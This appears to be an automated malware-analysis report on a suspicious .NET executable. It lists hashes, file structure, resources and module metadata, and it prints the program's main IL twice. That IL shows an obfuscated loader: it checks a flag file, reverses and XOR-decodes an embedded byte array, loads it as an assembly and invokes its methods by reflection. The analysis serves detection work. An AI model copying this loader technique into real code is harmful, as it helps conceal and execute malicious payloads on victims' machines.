Suspicious
Suspect

f4b7348dede81d6cced0f4f81ae3d342

PE Executable
|
MD5: f4b7348dede81d6cced0f4f81ae3d342
|
Size: 957.95 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
Hash Value
MD5
f4b7348dede81d6cced0f4f81ae3d342
Sha1
8b1f33e5ea21f6a92baadddf45b3cef5c56e09ad
Sha256
383f8a1216ca0eef171c6aa72da84e540d5c0337e8e6e492c68496f89c4c28a1
Sha384
48bc18ddc444b30ad15d852b733c8fa6a745fd5f0ac2d068b723445c904ad05f8f2afb878d4b6703f2a35c38950c4726
Sha512
6fa2990adb4437acd9534e3b8060b9e73c2364f747b455676eeff1e81643468915665f0c7ac373e375d62c230efd27e2280fa2b36094c09dd9b6774d8699cf15
SSDeep
24576:xhuhCgk+pfb2M/AcD45yT/bG3K60Ya5Xk:D1+pqM/TDznayY0Xk
TLSH
0315CF287BD69648D83EDB38C972461807F2E54BCA23C72FFE4230DD865A7465921F27

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Sf8jt7R.Resources.resources
cfba295fe00ed1.Resources.resources
87e3946b0
[NBF]root.Data
87e3946b1
[NBF]root.Data
87e3946b10
[NBF]root.Data
87e3946b11
[NBF]root.Data
87e3946b12
[NBF]root.Data
87e3946b13
[NBF]root.Data
87e3946b14
[NBF]root.Data
87e3946b15
[NBF]root.Data
87e3946b16
[NBF]root.Data
87e3946b17
[NBF]root.Data
87e3946b18
[NBF]root.Data
87e3946b19
[NBF]root.Data
87e3946b2
[NBF]root.Data
87e3946b20
[NBF]root.Data
87e3946b21
[NBF]root.Data
87e3946b3
[NBF]root.Data
87e3946b4
[NBF]root.Data
87e3946b5
[NBF]root.Data
87e3946b6
[NBF]root.Data
87e3946b7
[NBF]root.Data
87e3946b8
[NBF]root.Data
87e3946b9
[NBF]root.Data
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

Sf8jt7R

Full Name

Sf8jt7R

EntryPoint

System.Void Sf8jt7R.jQo6si0Y4Fg::M_g5b7B()

Scope Name

Sf8jt7R

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

Sf8jt7R

Assembly Version

14.12.39.208

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.6

Total Strings

836

Main Method

System.Void Sf8jt7R.jQo6si0Y4Fg::M_g5b7B()

Main IL Instruction Count

167

Main IL

nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] Sf8jt7R.Em1br5yD9xKxe::Aa7pzoT1Ho3n9K() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>

Module Name

Sf8jt7R

Full Name

Sf8jt7R

EntryPoint

System.Void Sf8jt7R.jQo6si0Y4Fg::M_g5b7B()

Scope Name

Sf8jt7R

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

Sf8jt7R

Assembly Version

14.12.39.208

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.6

Total Strings

836

Main Method

System.Void Sf8jt7R.jQo6si0Y4Fg::M_g5b7B()

Main IL Instruction Count

167

Main IL

nop <null> ldstr C:\ProgramData\app_init.flag call System.Boolean System.IO.File::Exists(System.String) ldc.i4.0 <null> ceq <null> stloc.0 <null> ldloc.0 <null> brfalse.s IL_0029: nop ldstr C:\ProgramData\app_init.flag ldstr 1 call System.Void System.IO.File::WriteAllText(System.String,System.String) nop <null> call System.Void System.Windows.Forms.Application::Exit() nop <null> nop <null> nop <null> call System.Void System.Windows.Forms.Application::EnableVisualStyles() nop <null> ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) nop <null> nop <null> ldnull <null> stloc.1 <null> ldloc.1 <null> ldnull <null> ldstr GetDefault ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) stloc.2 <null> leave.s IL_0066: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0066: nop nop <null> nop <null> ldc.i4.s 20 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> call System.Byte[] Sf8jt7R.Em1br5yD9xKxe::Aa7pzoT1Ho3n9K() call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>) stloc.s V_4 ldloc.s V_4 ldlen <null> conv.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 ldc.i4.0 <null> stloc.s V_9 br.s IL_00B4: ldloc.s V_9 ldloc.s V_9 ldc.i4.s 9 rem <null> ldc.i4.0 <null> ceq <null> stloc.s V_10 ldloc.s V_10 brfalse.s IL_00AD: nop ldloc.s V_4 ldloc.s V_9 ldloc.s V_4 ldloc.s V_9 ldelem.u1 <null> ldc.i4 243 xor <null> stelem.i1 <null> nop <null> nop <null> ldloc.s V_9 ldc.i4.1 <null> add.ovf <null> stloc.s V_9 ldloc.s V_9 ldloc.s V_8 ble.s IL_008E: ldloc.s V_9 ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_6 ldloc.s V_6 ldlen <null> conv.i4 <null> ldc.i4.s 24 cgt <null> ldc.i4.0 <null> ceq <null> stloc.s V_11 ldloc.s V_11 brfalse.s IL_00DF: ldloc.s V_6 leave.s IL_015E: ret ldloc.s V_6 ldc.i4.s 24 ldelem.ref <null> stloc.s V_7 ldloc.s V_7 ldnull <null> ceq <null> stloc.s V_12 ldloc.s V_12 brfalse.s IL_00F3: ldloc.s V_7 leave.s IL_015E: ret ldloc.s V_7 ldc.i4.s 56 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_0140: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> stloc.s V_15 ldloc.s V_15 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> conv.i4 <null> ldc.i4.0 <null> ceq <null> stloc.s V_16 ldloc.s V_16 brfalse.s IL_0138: nop nop <null> ldloc.s V_15 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0136: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0136: nop nop <null> nop <null> nop <null> nop <null> ldloc.s V_14 ldc.i4.1 <null> add.ovf <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> clt <null> stloc.s V_17 ldloc.s V_17 brtrue.s IL_0103: ldloc.s V_13 leave.s IL_015D: nop call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) nop <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015D: nop nop <null> ret <null>

f4b7348dede81d6cced0f4f81ae3d342 (957.95 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Sf8jt7R.Resources.resources
cfba295fe00ed1.Resources.resources
87e3946b0
[NBF]root.Data
87e3946b1
[NBF]root.Data
87e3946b10
[NBF]root.Data
87e3946b11
[NBF]root.Data
87e3946b12
[NBF]root.Data
87e3946b13
[NBF]root.Data
87e3946b14
[NBF]root.Data
87e3946b15
[NBF]root.Data
87e3946b16
[NBF]root.Data
87e3946b17
[NBF]root.Data
87e3946b18
[NBF]root.Data
87e3946b19
[NBF]root.Data
87e3946b2
[NBF]root.Data
87e3946b20
[NBF]root.Data
87e3946b21
[NBF]root.Data
87e3946b3
[NBF]root.Data
87e3946b4
[NBF]root.Data
87e3946b5
[NBF]root.Data
87e3946b6
[NBF]root.Data
87e3946b7
[NBF]root.Data
87e3946b8
[NBF]root.Data
87e3946b9
[NBF]root.Data
Characteristics
No malware configuration were found at this point.
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